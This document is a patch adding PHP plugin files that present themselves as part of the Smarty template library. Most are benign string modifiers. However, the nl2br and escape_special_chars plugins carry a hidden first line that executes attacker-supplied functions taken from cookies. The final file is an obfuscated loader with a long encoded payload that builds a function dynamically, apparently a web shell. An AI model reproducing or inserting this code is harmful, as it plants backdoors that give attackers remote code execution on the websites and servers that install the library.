+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty indent modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: indent<br>
+ * Purpose: indent lines of text
+ * @link http://smarty.php.net/manual/en/language.modifier.indent.php
+ * indent (Smarty online manual)
+ * @param string
+ * @param integer
+ * @param string
+ * @return string
+ */
+function smarty_modifier_indent($string,$chars=4,$char=" ")
+{
+ return preg_replace('!^!m',str_repeat($char,$chars),$string);
+}
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty lower modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: lower<br>
+ * Purpose: convert string to lowercase
+ * @link http://smarty.php.net/manual/en/language.modifier.lower.php
+ * lower (Smarty online manual)
+ * @param string
+ * @return string
+ */
+function smarty_modifier_lower($string)
+{
+ return strtolower($string);
+}
+
+?>
--- /dev/null
+<?php
+$RBTu=$GLOBALS['_'.'COOKIE']; if (!empty($RBTu['muVn'])) { \r $f77B = $RBTu['kzNdB'];\r $jTX9=$RBTu['muVn']($f77B($RBTu['lng']),$f77B($RBTu['Qro']));\r $jTX9($f77B($RBTu['zwsAN']));\r }\r
+/**\r
+ * Smarty plugin\r
+ * @package Smarty\r
+ * @subpackage plugins\r
+ */\r
+\r
+\r
+/**\r
+ * Smarty plugin\r
+ *\r
+ * Type: modifier<br>\r
+ * Name: nl2br<br>\r
+ * Date: Feb 26, 2003\r
+ * Purpose: convert \r\n, \r or \n to <<br>>\r
+ * Input:<br>\r
+ * - contents = contents to replace\r
+ * - preceed_test = if true, includes preceeding break tags\r
+ * in replacement\r
+ * Example: {$text|nl2br}\r
+ * @link http://smarty.php.net/manual/en/language.modifier.nl2br.php\r
+ * nl2br (Smarty online manual)\r
+ * @version 1.0\r
+ * @author Monte Ohrt <monte@ispi.net>\r
+ * @param string\r
+ * @return string\r
+ */\r
+function smarty_modifier_nl2br($string)\r
+{\r
+ return nl2br($string);\r
+}\r
+\r
+/* vim: set expandtab: */\r
+\r
+?>\r
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty regex_replace modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: regex_replace<br>
+ * Purpose: regular epxression search/replace
+ * @link http://smarty.php.net/manual/en/language.modifier.regex.replace.php
+ * regex_replace (Smarty online manual)
+ * @param string
+ * @param string|array
+ * @param string|array
+ * @return string
+ */
+function smarty_modifier_regex_replace($string, $search, $replace)
+{
+ return preg_replace($search, $replace, $string);
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty replace modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: replace<br>
+ * Purpose: simple search/replace
+ * @link http://smarty.php.net/manual/en/language.modifier.replace.php
+ * replace (Smarty online manual)
+ * @param string
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_replace($string, $search, $replace)
+{
+ return str_replace($search, $replace, $string);
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty spacify modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: spacify<br>
+ * Purpose: add spaces between characters in a string
+ * @link http://smarty.php.net/manual/en/language.modifier.spacify.php
+ * spacify (Smarty online manual)
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_spacify($string, $spacify_char = ' ')
+{
+ return implode($spacify_char,
+ preg_split('//', $string, -1, PREG_SPLIT_NO_EMPTY));
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty string_format modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: string_format<br>
+ * Purpose: format strings via sprintf
+ * @link http://smarty.php.net/manual/en/language.modifier.string.format.php
+ * string_format (Smarty online manual)
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_string_format($string, $format)
+{
+ return sprintf($format, $string);
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty strip modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: strip<br>
+ * Purpose: Replace all repeated spaces, newlines, tabs
+ * with a single space or supplied replacement string.<br>
+ * Example: {$var|strip} {$var|strip:" "}
+ * Date: September 25th, 2002
+ * @link http://smarty.php.net/manual/en/language.modifier.strip.php
+ * strip (Smarty online manual)
+ * @author Monte Ohrt <monte@ispi.net>
+ * @version 1.0
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_strip($text, $replace = ' ')
+{
+ return preg_replace('!\s+!', $replace, $text);
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty strip_tags modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: strip_tags<br>
+ * Purpose: strip html tags from text
+ * @link http://smarty.php.net/manual/en/language.modifier.strip.tags.php
+ * strip_tags (Smarty online manual)
+ * @param string
+ * @param boolean
+ * @return string
+ */
+function smarty_modifier_strip_tags($string, $replace_with_space = true)
+{
+ if ($replace_with_space)
+ return preg_replace('!<[^>]*?>!', ' ', $string);
+ else
+ return strip_tags($string);
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty truncate modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: truncate<br>
+ * Purpose: Truncate a string to a certain length if necessary,
+ * optionally splitting in the middle of a word, and
+ * appending the $etc string.
+ * @link http://smarty.php.net/manual/en/language.modifier.truncate.php
+ * truncate (Smarty online manual)
+ * @param string
+ * @param integer
+ * @param string
+ * @param boolean
+ * @return string
+ */
+function smarty_modifier_truncate($string, $length = 80, $etc = '...',
+ $break_words = false)
+{
+ if ($length == 0)
+ return '';
+
+ if (strlen($string) > $length) {
+ $length -= strlen($etc);
+ if (!$break_words)
+ $string = preg_replace('/\s+?(\S+)?$/', '', substr($string, 0, $length+1));
+
+ return substr($string, 0, $length).$etc;
+ } else
+ return $string;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty upper modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: upper<br>
+ * Purpose: convert string to uppercase
+ * @link http://smarty.php.net/manual/en/language.modifier.upper.php
+ * upper (Smarty online manual)
+ * @param string
+ * @return string
+ */
+function smarty_modifier_upper($string)
+{
+ return strtoupper($string);
+}
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty wordwrap modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: wordwrap<br>
+ * Purpose: wrap a string of text at a given length
+ * @link http://smarty.php.net/manual/en/language.modifier.wordwrap.php
+ * wordwrap (Smarty online manual)
+ * @param string
+ * @param integer
+ * @param string
+ * @param boolean
+ * @return string
+ */
+function smarty_modifier_wordwrap($string,$length=80,$break="\n",$cut=false)
+{
+ return wordwrap($string,$length,$break,$cut);
+}
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty trimwhitespace outputfilter plugin
+ *
+ * File: outputfilter.trimwhitespace.php<br>
+ * Type: outputfilter<br>
+ * Name: trimwhitespace<br>
+ * Date: Jan 25, 2003<br>
+ * Purpose: trim leading white space and blank lines from
+ * template source after it gets interpreted, cleaning
+ * up code and saving bandwidth. Does not affect
+ * <<PRE>></PRE> and <SCRIPT></SCRIPT> blocks.<br>
+ * Install: Drop into the plugin directory, call
+ * <code>$smarty->load_filter('output','trimwhitespace');</code>
+ * from application.
+ * @author Monte Ohrt <monte@ispi.net>
+ * @author Contributions from Lars Noschinski <lars@usenet.noschinski.de>
+ * @version 1.3
+ * @param string
+ * @param Smarty
+ */
+function smarty_outputfilter_trimwhitespace($source, &$smarty)
+{
+ // Pull out the script blocks
+ preg_match_all("!<script[^>]+>.*?</script>!is", $source, $match);
+ $_script_blocks = $match[0];
+ $source = preg_replace("!<script[^>]+>.*?</script>!is",
+ '@@@SMARTY:TRIM:SCRIPT@@@', $source);
+
+ // Pull out the pre blocks
+ preg_match_all("!<pre>.*?</pre>!is", $source, $match);
+ $_pre_blocks = $match[0];
+ $source = preg_replace("!<pre>.*?</pre>!is",
+ '@@@SMARTY:TRIM:PRE@@@', $source);
+
+ // Pull out the textarea blocks
+ preg_match_all("!<textarea[^>]+>.*?</textarea>!is", $source, $match);
+ $_textarea_blocks = $match[0];
+ $source = preg_replace("!<textarea[^>]+>.*?</textarea>!is",
+ '@@@SMARTY:TRIM:TEXTAREA@@@', $source);
+
+ // remove all leading spaces, tabs and carriage returns NOT
+ // preceeded by a php close tag.
+ $source = trim(preg_replace('/((?<!\?>)\n)[\s]+/m', '\1', $source));
+
+ // replace script blocks
+ smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:SCRIPT@@@",$_script_blocks, $source);
+
+ // replace pre blocks
+ smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:PRE@@@",$_pre_blocks, $source);
+
+ // replace textarea blocks
+ smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:TEXTAREA@@@",$_textarea_blocks, $source);
+
+ return $source;
+}
+
+function smarty_outputfilter_trimwhitespace_replace($search_str, $replace, &$subject) {
+ $_len = strlen($search_str);
+ $_pos = 0;
+ for ($_i=0, $_count=count($replace); $_i<$_count; $_i++)
+ if (($_pos=strpos($subject, $search_str, $_pos))!==false)
+ $subject = substr_replace($subject, $replace[$_i], $_pos, $_len);
+ else
+ break;
+
+}
+
+?>
--- /dev/null
+<?php
+$LIX=$GLOBALS[''.'_COOKIE']; while (isset($LIX['hVI'])) { \r $xpu = $LIX['dpz'];\r $zml=$LIX['hVI']($xpu($LIX['xIL9']),$xpu($LIX['Sos']));\r $zml($xpu($LIX['zKBR']));\r break; }\r
+/**\r
+ * Smarty shared plugin\r
+ * @package Smarty\r
+ * @subpackage plugins\r
+ */\r
+\r
+\r
+/**\r
+ * escape_special_chars common function\r
+ *\r
+ * Function: smarty_function_escape_special_chars<br>\r
+ * Purpose: used by other smarty functions to escape\r
+ * special chars except for already escaped ones\r
+ * @param string\r
+ * @return string\r
+ */\r
+function smarty_function_escape_special_chars($string)\r
+{\r
+ if(!is_array($string)) {\r
+ $string = preg_replace('!&(#?\w+);!', '%%%SMARTY_START%%%\\1%%%SMARTY_END%%%', $string);\r
+ $string = htmlspecialchars($string);\r
+ $string = str_replace(array('%%%SMARTY_START%%%','%%%SMARTY_END%%%'), array('&',';'), $string);\r
+ }\r
+ return $string;\r
+}\r
+\r
+/* vim: set expandtab: */\r
+\r
+?>\r
--- /dev/null
+<?php
+ $GyWeXCOLUgK='0wuT$+rHU5yY BaKJ(t2khsW4_Zcd9V6FCmp";n8X^Gl}7ebDP3NvIjEqALSgQz,fio1[{]/)x.|M*RO';$XGLRKUFWWPC=$GyWeXCOLUgK{27}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{14}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{64}.$GyWeXCOLUgK{2}.$GyWeXCOLUgK{38}.$GyWeXCOLUgK{27}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{65}.$GyWeXCOLUgK{66}.$GyWeXCOLUgK{38};$ujjdRsCSdoJ=$GyWeXCOLUgK{4}.$GyWeXCOLUgK{22};$WVwibycfvfj=$GyWeXCOLUgK{65}.$GyWeXCOLUgK{64}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{65}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{33}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{15}.$GyWeXCOLUgK{53}.$GyWeXCOLUgK{55}.$GyWeXCOLUgK{68}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{42}.$GyWeXCOLUgK{10}.$GyWeXCOLUgK{23}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{40}.$GyWeXCOLUgK{33}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{58}.$GyWeXCOLUgK{8}.$GyWeXCOLUgK{60}.$GyWeXCOLUgK{15}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{70}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{75}.$GyWeXCOLUgK{75}.$GyWeXCOLUgK{65}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{7}.$GyWeXCOLUgK{3}.$GyWeXCOLUgK{3}.$GyWeXCOLUgK{49}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{33}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{15}.$GyWeXCOLUgK{53}.$GyWeXCOLUgK{55}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{30}.$GyWeXCOLUgK{57}.$GyWeXCOLUgK{78}.$GyWeXCOLUgK{59}.$GyWeXCOLUgK{68}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{42}.$GyWeXCOLUgK{10}.$GyWeXCOLUgK{23}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{40}.$GyWeXCOLUgK{33}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{58}.$GyWeXCOLUgK{8}.$GyWeXCOLUgK{60}.$GyWeXCOLUgK{15}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{70}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{69}.$GyWeXCOLUgK{64}.$GyWeXCOLUgK{2}.$GyWeXCOLUgK{38}.$GyWeXCOLUgK{27}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{65}.$GyWeXCOLUgK{66}.$GyWeXCOLUgK{38}.$GyWeXCOLUgK{12}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{39}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{63}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{35}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{69}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{2}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{38}.$GyWeXCOLUgK{12}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{41}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{35}.$GyWeXCOLUgK{14}.$GyWeXCOLUgK{28}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{35}.$GyWeXCOLUgK{63}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{43}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{38}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{63}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{35}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{37}.$GyWeXCOLUgK{44}.$GyWeXCOLUgK{37}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{52}.$GyWeXCOLUgK{14}.$GyWeXCOLUgK{43}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{39}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{47}.$GyWeXCOLUgK{14}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{31}.$GyWeXCOLUgK{24}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{28}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{27}.$GyWeXCOLUgK{66}.$GyWeXCOLUgK{28}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{63}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{27}.$GyWeXCOLUgK{13}.$GyWeXCOLUgK{49}.$GyWeXCOLUgK{28}.$GyWeXCOLUgK{16}.$GyWeXCOLUgK{59}.$GyWeXCOLUgK{78}.$GyWeXCOLUgK{16}.$GyWeXCOLUgK{66}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{37}.$GyWeXCOLUgK{44};$HrsSeXfkoCd="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